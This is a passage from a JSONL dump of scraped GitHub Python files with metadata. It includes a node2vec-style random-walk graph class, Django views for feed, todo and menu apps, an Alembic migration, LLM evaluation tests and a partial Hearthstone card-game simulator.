dataset.graph['node_year'].flatten(), nclass, verbose=False)\n    dataset.label = torch.as_tensor(label).reshape(-1, 1)\n    return dataset","repo_name":"draym28/LSGNN","sub_path":"load_large_graph/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":3287,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"41382153001","text":"import utils \nimport charts\nimport read_csv\nimport pandas as pd\n\n\n\n\n\ndf = pd.read_csv('world_population.csv')\n\noptions = set(df['Continent'].values)\nprint(options)\ncontinent = str(input('de que continente quieres que se muestre la estadistica mundial ==> '))\n\n\ndf = df[df['Continent'] == continent]\n\ncountries = list(set(df['Country/Territory'].values))\nporcentage = df['World Population Percentage']\n\ncharts.generate_pie_chart(continent, countries,porcentage)\n\nprint(countries)\nprint(type(countries))\nprint(porcentage)\n\n\n'''\ndata = list(filter(lambda n : n['Continent'].lower() == continent.lower(), data))\nvalues = list(map(lambda i : i['World Population Percentage'],data))\nlabel = list(map(lambda i : i['Country/Territory'],data))\n'''\n","repo_name":"Sebas0529/Learning-python","sub_path":"app/main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15983520203","text":"import json\nimport numpy as np\nfrom tqdm import tqdm\n\n\nclass Graph:\n    def _add_edge(self, x, y):\n        if x not in self.edges:\n            self.edges[x] = {}\n        self.in_degree[y] = self.in_degree.get(y, 0) + \\\n            (1 if self.repeat or y not in self.edges[x] else 0)\n        self.out_degree[x] = self.out_degree.get(x, 0) + \\\n            (1 if self.repeat or y not in self.edges[x] else 0)\n\n        self.edges[x][y] = 1 + \\\n            (self.edges[x].get(y, 0) if self.repeat else 0)\n\n    def __init__(self, edges, nodes=None, repeat=True,  directed=False):\n        _nodes = set()\n        self.edges = {}\n        self.repeat = repeat\n        self.directed = directed\n        self.in_degree = {}\n        self.out_degree = {}\n        _nodes = set()\n        for x, y in edges:\n            self._add_edge(x, y)\n            if not directed:\n                self._add_edge(y, x)\n            _nodes.add(x)\n            _nodes.add(y)\n\n        self.nodes = _nodes if nodes is None else set(nodes)\n\n    def get_nodes(self):\n        return self.nodes.copy()\n\n    def get_edges(self):\n        return self.edges.copy()\n\n    def get_edges_list(self):\n        ans = []\n        for x, y in self.edges.items():\n            for k, v in y.items():\n                for p in range(v):\n                    ans.append((x, k))\n        return ans\n\n    def get_in_degree(self):\n        return self.in_degree.copy()\n\n    def get_out_degree(self):\n        return self.out_degree.copy()\n\n    def get_degree(self):\n        ans = {}\n        for k, v in self.in_degree.items():\n            ans[k] = ans.get(k, 0) + v\n        for k, v in self.out_degree.items():\n            ans[k] = ans.get(k, 0) + v\n        if not self.directed:\n            for k in ans:\n                ans[k] //= 2\n        return ans\n\n    def get_node_list(self):\n        return list(self.nodes)\n\n    def get_degree_point(self, point):\n        ans = self.in_degree.get(point, 0) + self.out_degree.get(point, 0)\n        return ans if self.directed else ans // 2\n\n\nclass WalkGraph(Graph):\n    def __init__(\n        self, edges, p=1, q=1,\n        nodes=None, repeat=True, directed=False\n    ):\n        super(WalkGraph, self).__init__(\n            edges=edges, nodes=nodes,\n            repeat=repeat, directed=directed\n        )\n        self.q, self.invq = q, 1 / q\n        self.p, self.invp = p, 1 / p\n\n    def get_val(self, v, u, w):\n        if v == w:\n            return self.invp\n        elif v in self.edges.get(w, {}):\n            return 1\n        else:\n            return self.invq\n\n    def dfs(self, now, last, res, ans):\n        if res == 0:\n            return\n        Neighbors = self.edges[now]\n        Keys = list(Neighbors.keys())\n        Distributions = np.array(\n            [Neighbors[v] * self.get_val(v, now, last) for v in Keys],\n            dtype=np.float64\n        )\n        Distributions = Distributions / Distributions.sum()\n        Test = np.random.multinomial(1, Distributions)\n        ans.append(Keys[Test.argmax()])\n        self.dfs(ans[-1], now, res - 1, ans)\n\n    def Walk_Single(self, point, length):\n        if length < 0:\n            raise ValueError('walk length should be positive')\n        elif self.directed:\n            Msg = 'Walk shouldn\\'t be performed on directed graph'\n            raise AttributeError(Msg)\n        else:\n            if self.get_degree_point(point) == 0:\n                return [point for x in range(length + 1)]\n            else:\n                ans = [point]\n                self.dfs(point, None, length, ans)\n                return ans\n\n    def Walks(self, length, verbose=False):\n        if verbose:\n            print('[INFO] Random Walking..')\n\n        ans = []\n        Iters = tqdm(self.nodes) if verbose else self.nodes\n        for i in Iters:\n            ans.append(self.Walk_Single(i, length))\n\n        if verbose:\n            print('[INFO] Random Walking Done')\n\n        return ans\n\n\nif __name__ == '__main__':\n    V = WalkGraph(\n        [\n            [1, 2], [1, 2], [2, 3], [4, 5],\n            [3, 4], [5, 7], [6, 8], [9, 1],\n            [9, 2], [5, 9], [8, 3], [4, 9],\n            [6, 2], [7, 1]\n        ],\n        repeat=True, p=0.5, q=2,\n        nodes=[1, 2, 3, 4, 5, 6, 7, 9]\n    )\n    print(V.get_edges())\n    print(V.get_edges_list())\n    print(V.get_degree())\n    print(V.get_in_degree())\n    print(V.get_out_degree())\n\n    print('\\n\\n')\n    print(V.Walks(20, True))\n","repo_name":"zengkaipeng/EE359-Data-Mining","sub_path":"Course Project3 Link Prediction/src/Graph_Base.py","file_name":"Graph_Base.py","file_ext":"py","file_size_in_byte":4395,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"11498687452","text":"import json\nfrom os import getenv\nfrom pyairtable.api import Api, Table\nfrom eagle_cool_client import EagleCoolClient\nfrom tqdm import tqdm\n\n\nairtable_token = getenv(\"AIRTABLE_TOKEN\", \"none\")\napi = Api(airtable_token)\nairtable_base = api.get_base(getenv(\"AIRTABLE_BASE_ID\", \"none\"))\ngenerations: Table = airtable_base.get_table(\"generations\")\neagle = EagleCoolClient()\nall_gens = generations.all()\n\nindexes = {\n    \"gen_id\": {item[\"fields\"][\"gid\"]: item[\"fields\"] for item in all_gens},\n    \"gen_id+seed\": {\n        f\"{item['fields']['gid']}-{item['fields']['seed']}\": item[\"fields\"]\n        for item in all_gens\n    },\n    \"seed\": {f\"{item['fields']['seed']}\": item[\"fields\"] for item in all_gens},\n}\n\nfolders = eagle.list_folders()\n\nname = \"stash\"\n\n\ndef find_folder(folders, name):\n    stash_folders = []\n    for folder in folders:\n        if name in folder[\"name\"]:\n            stash_folders.append(folder)\n        if \"children\" in folder:\n            stash_folders.extend(find_folder(folder[\"children\"], name))\n    return stash_folders\n\n\nstash_folders = find_folder(folders[\"data\"], name)\n\nimages = eagle.list_items(folders=\",\".join([x[\"id\"] for x in stash_folders]))[\"data\"]\nfor image in tqdm(images):\n    name = image[\"name\"]\n    tags = image[\"tags\"]\n    if \"has_prompt\" not in tags:\n        for _, index in indexes.items():\n            if name in index:\n                gen_data = index[name]\n                tags.append(\"has_prompt\")\n                result = eagle.update_item(\n                    id=image[\"id\"],\n                    annotation=json.dumps(gen_data, ensure_ascii=False),\n                    tags=tags,\n                )\nprint(stash_folders)\n","repo_name":"vpuhoff/eagle_cool_client","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17500217336","text":"\"\"\"empty message\n\nRevision ID: 329c9e995bc9\nRevises: w0009\nCreate Date: 2017-01-05 20:58:03.048614\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '329c9e995bc9'\ndown_revision = 'w0009'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('card', sa.Column('silver_points', sa.Integer(), server_default='0', nullable=False))\n    op.drop_column('card', 'prize_pool')\n    op.add_column('transfer', sa.Column('silver_points', sa.Integer(), server_default='0', nullable=False))\n    op.drop_column('transfer', 'amount')\n    op.add_column('user', sa.Column('silver_points', sa.Integer(), server_default='0', nullable=False))\n    op.drop_column('user', 'points')\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('user', sa.Column('points', sa.INTEGER(), server_default=sa.text(u'0'), autoincrement=False, nullable=False))\n    op.drop_column('user', 'silver_points')\n    op.add_column('transfer', sa.Column('amount', sa.INTEGER(), server_default=sa.text(u'0'), autoincrement=False, nullable=False))\n    op.drop_column('transfer', 'silver_points')\n    op.add_column('card', sa.Column('prize_pool', sa.INTEGER(), server_default=sa.text(u'0'), autoincrement=False, nullable=False))\n    op.drop_column('card', 'silver_points')\n    # ### end Alembic commands ###\n","repo_name":"itdream-dev/python","sub_path":"guidehero-backend/migrations/versions/329c9e995bc9_.py","file_name":"329c9e995bc9_.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41988696991","text":"import os, sys, json, time\nfrom unittest import mock\nsys.path.append('../')\n\nfrom main import eval_sheet, grade_sheet\nfrom modules.parse import parse_wrapper\nfrom modules.oai_api import get_completion\nfrom modules.local_llm_api import get_model_fn\nfrom openai.types.chat import ChatCompletion\n\ndef load_chat_completion(fn: str) -> ChatCompletion:\n    '''need this since oai_api.get_completion takes a ChatCompletion object'''\n    with open(fn, 'r') as f:\n        data = json.load(f)\n        return ChatCompletion(**data)\n    \nRESPONSE_STUB_FN = './data/stubs/completion.json'\nMODEL_RESPONSE_STUB = load_chat_completion(RESPONSE_STUB_FN)\n\nVALID_MODEL_PATH = '../../../data/llama-2-7b.Q4_K_M.gguf'\n\n\ndef test_stub_loaded():\n    '''test to make sure subsequent tests are valid'''\n    msg = get_completion(MODEL_RESPONSE_STUB)\n    assert len(msg) > 0\n\n\ndef test_get_model_fn():\n    # valid model_name should return a path\n    model_fn = get_model_fn('llama_7b')\n    assert model_fn == '../../data/llama-2-7b.Q4_K_M.gguf'\n    # valid path to a file should return the path\n    model_fn = get_model_fn(VALID_MODEL_PATH)\n    assert model_fn == VALID_MODEL_PATH\n    # invalid model_name should raise ValueError\n    try:\n        model_fn = get_model_fn('llama_7b_fake')\n        assert False\n    except ValueError:\n        assert True\n    except:\n        assert False\n\n\ndef test_eval_basic_1():\n    '''\n        demonstrate mocking:\n         - output file(s): .md + .json\n         - submit_prompt\n    '''\n    \n    with mock.patch('modules.output.open',  mock.mock_open()) as mock_output_file:\n        with mock.patch('main.submit_prompt') as mock_submit_prompt:\n            \n            mock_submit_prompt.return_value = MODEL_RESPONSE_STUB\n            \n            output = eval_sheet(\n                './data/input-one.md',\n                '../data/md-schema.yaml',\n                'gpt-3.5-turbo',\n                'should-not-be-used.txt',\n                verbose_level=0,\n            )\n\n            # two questions thus it should be called twice\n            assert mock_submit_prompt.call_count == 2\n    \n            # verify the output file is written to, but not much else\n            written_data = [e[0][0] for e in mock_output_file().write.call_args_list]\n            \n            assert len(written_data) > 0\n\n\ndef test_eval_basic_2():\n    '''\n        test with local model: llama_7b\n    '''\n    \n    with mock.patch('modules.output.open',  mock.mock_open()) as mock_output_file:\n        with mock.patch('main.prompt_model') as mock_prompt_model:\n            \n            mock_prompt_model.return_value = (\"stubbed answer\", None)\n            \n            output = eval_sheet(\n                './data/input-one.md',\n                '../data/md-schema.yaml',\n                'llama_7b',\n                'should-not-be-used.txt',\n                verbose_level=0,\n            )\n\n            # two questions thus it should be called twice\n            assert mock_prompt_model.call_count == 2\n    \n            # verify the output file is written to, but not much else\n            written_data = [e[0][0] for e in mock_output_file().write.call_args_list]\n            \n            assert len(written_data) > 0\n            \n\ndef test_eval_grading():\n    '''\n        test the grading functionality:\n        we'll capture if grading output file has the correct\n        array of booleans by saying true answer to Question-1 \n        in the mock response of the llama completion method\n    '''\n    \n    TEST_FN = './data/dir-two/input-one.md'\n    TEST_SCHEMA = '../data/md-schema.yaml'\n\n    # A) capture the output_obj of a run\n    # setting grading output to None to prevent output_obj from containing \n    # a graded section\n    with mock.patch('modules.output.open',  mock.mock_open()) as mock_output_file:\n        with mock.patch('main.prompt_model') as mock_prompt_model:\n            \n            mock_prompt_model.return_value = ('C) The worm', None)        \n            \n            output_obj = eval_sheet(\n                input_md_fn=TEST_FN,\n                input_schema_fn=TEST_SCHEMA,\n                model_name='llama_7b',\n                output_md_fn='output-stub-xx.md',\n                output_json_fn=None,     # force only output to be output-xx.md\n                output_grade_fn=None,    # prevent output-md from having\n            )\n\n            # The test sheet has two questions, verify those are being being hit\n            assert mock_prompt_model.call_count == 2\n\n    # B) now do grading call here, instead of referencing the output json\n    \n    # first grab the doc_obj which would exist inside eval_sheet call \n    # and be passed to it normally\n    input_doc_obj = parse_wrapper(\n        TEST_FN,\n        TEST_SCHEMA,\n    )\n\n    # Now run the output objects from (A) and (B) through the grading function\n    # analyze the boolean outputs\n    list_grades = grade_sheet(\n        json_doc=input_doc_obj,\n        output_obj=output_obj,\n    )\n\n    print(f\"list_grades: {list_grades}\")\n\n    assert len(list_grades) == 2\n\n    # This one should be true because we mocked its response to be correct\n    assert list_grades[0] == True\n\n    # This one should be false because we mocked its response to be incorrect\n    assert list_grades[1] == False\n","repo_name":"sutt/py-llama-scripts","sub_path":"eval-pipeline-1/tests/test_eval.py","file_name":"test_eval.py","file_ext":"py","file_size_in_byte":5252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24012239274","text":"class Solution:\n    def maxChunksToSorted(self, arr):\n        \"\"\"\n        :type arr: List[int]\n        :rtype: int\n        \"\"\"\n        cnt = [0 for i in range(len(arr))]\n        for i, x in enumerate(arr):\n            for t in range(max(x, i), len(arr)):\n                cnt[t] += 1\n            #print(cnt)\n        \n        res = 0\n        for i, x in enumerate(cnt):\n            if i + 1 == x:\n                res += 1\n        return res\n\narr = [4,3,2,1,0]\nprint (Solution().maxChunksToSorted(arr))\n        \n","repo_name":"songzy12/LeetCode","sub_path":"python/769.max-chunks-to-make-sorted.py","file_name":"769.max-chunks-to-make-sorted.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"16072685631","text":"import json\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.views.generic import TemplateView, DetailView, ListView, DeleteView\nfrom django.views.generic.edit import CreateView\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom .models import Post\nfrom follower.models import Follower\n\n\n# ? Worked without importing date from datetime\ndef formatDate(date):\n    # if post was created today\n    if date.date() == date.today().date():\n        return f\"Today · {date.strftime('%I:%M %p')}\"\n    # if post was created yesterday\n    elif date.strftime(\"%d%m%Y\") == date.today().strftime(\n        f\"{date.today().day-1:02d}%m%Y\"\n    ):\n        return f\"Yesterday · {date.strftime('%I:%M %p')}\"\n    # if post was created within the current year\n    elif date.year == date.today().year:\n        return date.strftime(\"%B %d · %I:%M %p\")\n    else:\n        # show full format\n        return date.strftime(\"%B %d, %Y · %I:%M %p\")\n\n\ndef formatPostDates(posts):\n    formattedPost = []\n    for post in posts:\n        # check if post is modified\n        if post.dateCreated == post.dateModified:\n            post.dateModified = False\n        else:\n            post.dateModified = formatDate(post.dateModified)\n        post.dateCreated = formatDate(post.dateCreated)\n        formattedPost.append(post)\n    return posts\n\n\nclass IndexView(TemplateView):\n    http_method_names = [\"get\"]\n    template_name = \"index.html\"\n\n    def dispatch(self, request, *args, **kwargs):\n        self.request = request\n        return super().dispatch(request, *args, **kwargs)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        posts = []\n        if self.request.user.is_authenticated:\n            # List of users followed by current user\n            following = list(\n                Follower.objects.filter(followedBy=self.request.user).values_list(\n                    \"following\", flat=True\n                )\n            )\n            # Filter out posts that are from the following list\n            posts = formatPostDates(\n                Post.objects.filter(author__in=following).order_by(\"-dateCreated\")\n            )\n        else:\n            posts = formatPostDates(list(Post.objects.all().order_by(\"-dateCreated\")))\n        context[\"posts\"] = posts\n        context[\"home_active\"] = True\n        return context\n\n\nclass PostExploreView(ListView):\n    http_method_names = [\"get\"]\n    template_name = \"explore.html\"\n    model = Post\n    context_object_name = \"posts\"\n\n    def get_queryset(self):\n        self.queryset = formatPostDates(\n            list(Post.objects.all().order_by(\"-dateCreated\"))\n        )\n        return super().get_queryset()\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"explore_active\"] = True\n        return context\n\n\nclass PostDetailView(DetailView):\n    http_method_names = [\"get\"]\n    model = Post\n    context_object_name = \"post\"\n    template_name = \"view.html\"\n\n    # Format date of requested post\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        post = self.get_object()\n        if post.dateCreated == post.dateModified:\n            post.dateModified = False\n        else:\n            post.dateModified = post.dateModified\n        post.dateCreated = post.dateCreated\n        context[\"post\"] = post\n        return context\n\n\nclass PostCreateView(LoginRequiredMixin, CreateView):\n    model = Post\n    template_name = \"post.html\"\n    fields = [\"content\"]\n    success_url = \"/\"\n\n    def dispatch(self, request, *args, **kwargs):\n        # Get current user\n        self.request = request\n        return super().dispatch(request, *args, **kwargs)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"post_active\"] = True\n        return context\n    \n\n    # def form_valid(self, form):\n    #     print(\"!!!!!!!!!!!!!!gets here\")\n    #     post = form.save(commit=False)\n    #     # Fill author field with current user\n    #     post.author = self.request.user\n    #     post.save()\n    #     return super().form_valid(form)\n\n    def post(self, request, *args, **kwargs):\n        newPost = Post.objects.create(\n            content=request.POST.get(\"content\"), author=request.user\n        )\n        # if incoming request is ajax\n        if request.headers.get(\"X-Requested-With\") == \"XMLHttpRequest\":\n            newPost.dateCreated = formatDate(newPost.dateCreated)\n            return render(\n                request,\n                \"./components/card.html\",\n                {\"post\": newPost},\n                content_type=\"application/html\",\n            )\n        else:\n            return HttpResponseRedirect(self.success_url)\n\n\nclass PostDeleteView(DeleteView):\n    model = Post\n    success_url = \"/\"\n","repo_name":"deepak-parmar/til-django","sub_path":"feed/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4887,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"73022749769","text":"from django.shortcuts import render\n\nfrom rest_framework.decorators import api_view\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\n\nfrom .models import Task\nfrom .serializers import TaskSerializer\n\n\n# Create your views here.\n@api_view(['GET'])\ndef apiOverview(request):\n    api_urls = {\n        'List':'/all_task/',\n        'Detail View':'/task-detail/<str:pk>/',\n        'Create':'/create_task/',\n        'Update':'/edit_task/<str:pk>/',\n        'Delete':'/delete-task/<str:pk>'\n    }\n    return Response(api_urls)\n\n\n@api_view(['GET'])\ndef taskList(request):\n    task = Task.objects.all()\n    serizializer =TaskSerializer(task, many=True)\n    data = serizializer.data\n    return Response(data)\n\n@api_view(['GET'])\ndef taskDetail(request, pk):\n    task = Task.objects.get(id=pk)\n    serizializer =TaskSerializer(task, many=False)\n    data = serizializer.data\n    return Response(data)\n\n@api_view(['POST'])\ndef createTask(request):\n    serizializer =TaskSerializer(data=request.data)\n    if serizializer.is_valid():\n        serizializer.save()\n    data = serizializer.data\n    return Response(data)\n\n@api_view(['POST'])\ndef taskUpdate(request, pk):\n    task = Task.objects.get(id=pk)\n    serizializer =TaskSerializer(instance=task, data=request.data)\n    if serizializer.is_valid():\n        serizializer.save()\n    data = serizializer.data\n    return Response(data)\n\n@api_view(['DELETE'])\ndef taskUpdate(request, pk):\n    task = Task.objects.get(id=pk)\n    task.delete()\n    return Response(\"Task Was deleted Successfully\")\n\n\n\n\n\n\n","repo_name":"fyung36/todoapp","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23755664385","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom .models import Menu, MenuItem\nfrom django.http import JsonResponse\nfrom django.views.generic import ListView\nfrom django.views.generic.edit import UpdateView, DeleteView, CreateView\nfrom .forms import MenuItemForm\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n\n\n@login_required\ndef menu_item_list(req, menu_id):\n    menuitem_list = MenuItem.objects.filter(menu_id=menu_id)\n    return render(req, 'menu/menuitem_list.html', { \n            'menuitem_list': menuitem_list,\n            'menu_id': menu_id\n        })\n\n\n@login_required\ndef menu_item_create(req, menu_id):\n    form = MenuItemForm(req.POST or None)\n\n    if form.is_valid():\n        MenuItem.objects.create(menu_id=menu_id, name=form.cleaned_data['item'])\n        return redirect(f'/menu/{menu_id}/items')\n\n    return render(req, 'menu/menuitem_create.html', {\n        'menu_id': menu_id,\n        'form': form\n    })\n\n\n@login_required\ndef menu_item_delete(req, menu_id, item_id):\n    item = get_object_or_404(MenuItem, pk=item_id)\n    item.delete()\n    return redirect(f'/menu/{menu_id}/items')\n\n\n@login_required\ndef menu_item_update(req, menu_id, item_id):\n    item = get_object_or_404(MenuItem, pk=item_id)\n    form = MenuItemForm({'item': item.name})\n\n    if req.method == 'POST':\n        form = MenuItemForm(req.POST)\n        if form.is_valid():\n            MenuItem.objects.filter(id=item_id).update(name=form.cleaned_data['item'])\n            return redirect(f'/menu/{menu_id}/items')\n\n    return render(req, 'menu/menuitem_update.html', {\n        'form': form\n    })\n\n\nclass MenuList(LoginRequiredMixin, ListView):\n    model = Menu\n\n\nclass MenuCreate(LoginRequiredMixin, CreateView):\n    model = Menu\n    fields = '__all__'\n    template_name = 'menu/menu_create.html'\n    success_url = '/menu/all'\n\n\nclass MenuUpdate(LoginRequiredMixin, UpdateView):\n    model = Menu\n    fields = '__all__'\n    template_name = 'menu/menu_update.html'\n    success_url = '/menu/all'\n\n\nclass MenuDelete(LoginRequiredMixin, DeleteView):\n    model = Menu\n    template_name = 'menu/menu_delete.html'\n    success_url = '/menu/all'\n\n\n@login_required\ndef get_all_menu(req):\n    menu_list = Menu.objects.all()\n    menu_json = []\n\n    for menu in menu_list:\n        menu_json.append({\n            'id': menu.id,\n            'name': menu.name,\n            'price': menu.price,\n            'image': menu.image.url,\n            'category': {\n                'id': menu.category.id,\n                'name': menu.category.name,\n            },\n            'items': [{ 'id': item.id , 'name': item.name } for item in menu.menuitem_set.all()]\n        })\n\n    return JsonResponse(menu_json, safe=False)","repo_name":"vongthaya/sonnabod","sub_path":"menu/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1871384676","text":"import copy\n\ndef basicAttack(self,enemy):\n  taunt = False\n  #Check for taunt on enemy board\n  for i in self.game.oppBoard:\n    if 'Taunt' in i.effects:\n      taunt = True\n  #Cannot target attack if enemy is immune or stealthed, if a taunt is in the way, if frozen, or if regular and windfury attacks are both used up\n  if (('Immune' or 'Stealth') in enemy.effects) or (taunt and 'Taunt' not in enemy.effects) or 'Frozen' in self.effects:\n    return False\n  elif self.canAttack:\n    self.canAttack = False\n  elif 'Windfury' in self.effects and self.effects['Windfury']:\n    self.effects['Windfury'] = False\n  else:\n    return False\n  #If this does not have a special attack, run a regular attack\n  if 'Attack' in self.effects:\n    return self.game.runEffect('Attack',self,enemy)\n  else:\n    self.game.damage(enemy,self.atk)\n    self.game.damage(self,enemy.atk)\n    self.game.resolveDeath()\n    return True\ndef weaponAttack(self,enemy):\n  self.game.damage(enemy,self.atk)\n  self.game.damage(self,1)\n  self.game.resolveDeath()\n  \n#----------Game element classes----------\n\nclass Minion:\n  def __init__(self,mName,mCost,mAtk,mHealth,mType=[],mEffect=[],mGame=None,mClass='Neutral'):\n    self.name = mName\n    self.cost = mCost\n    self.baseCost = mCost\n    self.atk = mAtk\n    self.baseAtk = mAtk\n    self.health = mHealth\n    self.baseHealth = mHealth\n    self.maxHealth = mHealth\n    self.hearthClass = mClass\n    while len(mEffect) < len(mType):\n      mEffect.append(None)\n    self.effects = {etype:effect for etype,effect in zip(mType,mEffect)}\n    self.game = mGame\n\n  buffAtk = 0\n  buffHealth = 0\n  auraAtk = 0\n  auraHealth = 0\n  damage = 0\n  buffCost = 0\n  auraCost = 0\n  \n  canAttack = False\n\n  def attack(self,enemy):\n    basicAttack(self,enemy)\n\nclass Spell:\n  def __init__(self,sName,sCost,sClass,sType=[None],sEffect=[None],sGame=None):\n    self.name = sName\n    self.cost = sCost\n    self.baseCost = sCost\n    self.hearthClass = sClass\n    self.effectType = sType\n    while len(sEffect) < len(sType):\n      sEffect.append(None)\n    self.effects = {etype:effect for etype,effect in zip(sType,sEffect)}\n    self.game = sGame\n  \n  buffCost = 0\n  auraCost = 0\n\nclass Weapon:\n  def __init__(self,wName,wCost,wAtk,wHealth,wType=['Attack'],wEffects=[lambda m,t:weaponAttack(m,t)],wHero=None,wClass='Neutral'):\n    self.name = wName\n    self.cost = wCost\n    self.baseCost = wCost\n    self.atk = wAtk\n    self.baseAtk = wAtk\n    self.health = wHealth\n    self.baseHealth = wHealth\n    self.hearthClass = wClass\n    self.hero = wHero\n    while len(wEffects) < len(wType):\n      wEffects.append(None)\n    self.effects = {etype:effect for etype,effect in zip(wType,wEffects)}\n        \n  buffAtk = 0\n  buffHealth = 0\n  auraAtk = 0\n  auraHealth = 0\n  damage = 0\n  buffCost = 0\n  auraCost = 0\n        \n  def attack(self,enemy):\n    self.atk += self.hero.atk\n    basicAttack(self,enemy)\n\n\nclass Hero:\n  def __init__(self,hClass='Neutral',hGame=None):\n    self.hearthClass = hClass\n    self.effects = {}\n    self.game = hGame\n  mana = 0\n  maxMana = 0\n  atk = 0\n  health = 30\n  maxHealth = 30\n  armor = 0\n  weapon = None\n  \n  buffAtk = 0\n  buffHealth = 0\n  auraAtk = 0\n  auraHealth = 0\n  damage = 0\n\n  def attack(self,enemy):\n    if self.game.checkWeapon(self):\n      self.weapon.attack(self,enemy)\n    else:\n      basicAttack(self,enemy)\n\n#----------Game class with useful functions----------\n\nclass Game:\n  def __init__(self,gMe,gOpponent):\n    self.hero1 = gMe\n    self.hero1.game = self\n    self.hero2 = gOpponent\n    self.hero2.game = self\n    self.me = self.hero1\n    self.opponent = self.hero2\n\n    self.board1 = []\n    self.board2 = []\n    self.myBoard = self.board1\n    self.oppBoard = self.board2\n\n    self.hand1 = []\n    self.hand2 = []\n    self.myHand = self.hand1\n    self.oppHand = self.hand2\n\n    self.summonOrder = []\n\n  #Run a specific effect of a card, if it has that effect\n  def runEffect(self,effect,card,arg1=None,arg2=None,arg3=None,default=False,resolve=True):\n    succ = default\n    if effect in card.effects:\n      if arg3 != None and arg2 != None and arg1 != None:\n        succ = card.effects[effect](card,arg1,arg2,arg3)\n      elif arg2 != None and arg1 != None:\n        succ = card.effects[effect](card,arg1,arg2)\n      elif arg1 != None:\n        succ = card.effects[effect](card,arg1)\n      else:\n        succ = card.effects[effect](card)\n    if succ and resolve: self.resolveDeath()\n    return succ\n\n  #Use the runEffect function on all cards in a list\n  def runEffectAll(self,effect,origin=None,order=None):\n    if order == None:\n      order = self.summonOrder\n    if origin == None:\n      for card in order:\n        self.runEffect(effect,card)\n    else:\n      for card in order:\n        self.runEffect(effect,card,origin)\n\n  def checkWeapon(hero):\n    return hero.weapon != None\n  \n  #Add a card to the current hand\n  def addToHand(self,card,hand=None):\n    if hand == None:\n      hand = self.myHand\n    if self.runEffect('Casts When Drawn',card):\n      return True\n    elif(len(hand) < 10):\n      card = copy.deepcopy(card)\n      if not isinstance(card,Weapon):\n        card.game = self\n      hand.append(card)\n      self.checkAuras()\n      return True\n    return False\n\n  #Summon a minion in a specific position, or just at the end if no position is specified\n  def summon(self,minion,position=-1,board=None):\n    if board == None:\n      board = self.myBoard\n    if len(board) < 7:\n      minion = copy.deepcopy(minion)\n      minion.game = self\n      if position < 0:\n        board.append(minion)\n      else:\n        board.insert(position,minion)\n      self.summonOrder.append(minion)\n      if 'Charge' in minion.effects:\n        minion.canAttack = True\n        if 'Windfury' in minion.effects:\n          minion.effects['Windfury'] = True\n      elif 'Windfury' in minion.effects:\n        minion.effects['Windfury'] = False\n      self.runEffectAll('Summon',minion)\n      return True\n    return False\n\n  #Equip a weapon to the current hero\n  def equip(self,weapon,hero=None):\n    if hero == None:\n      hero = self.me\n    if self.checkWeapon(hero):\n      self.kill(hero.weapon)\n    hero.weapon = weapon\n    weapon.hero = hero\n    return True\n\n  #Play a card; run battlecry or spell effect, targeting or not, then summon if it is a minion\n  def playCard(self,card,arg1=None,position=-1,arg2=None,arg3=None):\n    if self.me.mana < card.cost: \n      return False\n    succ = True\n    succ = self.runEffect('Spell',card,arg1,arg2,arg3,succ)\n    if isinstance(card,Minion):\n      succ = self.summon(card,position)\n    elif isinstance(card,Weapon):\n      succ = self.equip(card)\n    if succ:\n      succ = self.runEffect('Battlecry',card,arg1,arg2,arg3,succ)\n    if succ:\n      self.runEffectAll('Play Card',card)\n      self.myHand.remove(card)\n      self.me.mana -= card.cost\n    self.checkAuras()\n    return succ\n  \n  #Deal damage to a minion\n  def damage(self,minion,dmg,spell=False):\n    if spell and dmg > 0:\n      for i in self.myBoard:\n        if 'Spell Damage' in i.effects:\n          dmg += i.effects['Spell Damage']\n    if 'Divine Shield' in minion.effects and dmg > 0:\n      del minion.effects['Divine Shield']\n      dmg = 0\n    minion.damage = min(minion.damage-dmg,0)\n    minion.health = minion.maxHealth + minion.damage\n    if dmg > 0:\n      self.runEffectAll('Damage',minion)\n    elif dmg < 0:\n      self.runEffectAll('Heal',minion)\n    return True\n  \n  #Kill all minions with 0 health or less\n  def resolveDeath(self):\n    dummy = copy.copy(self.summonOrder)\n   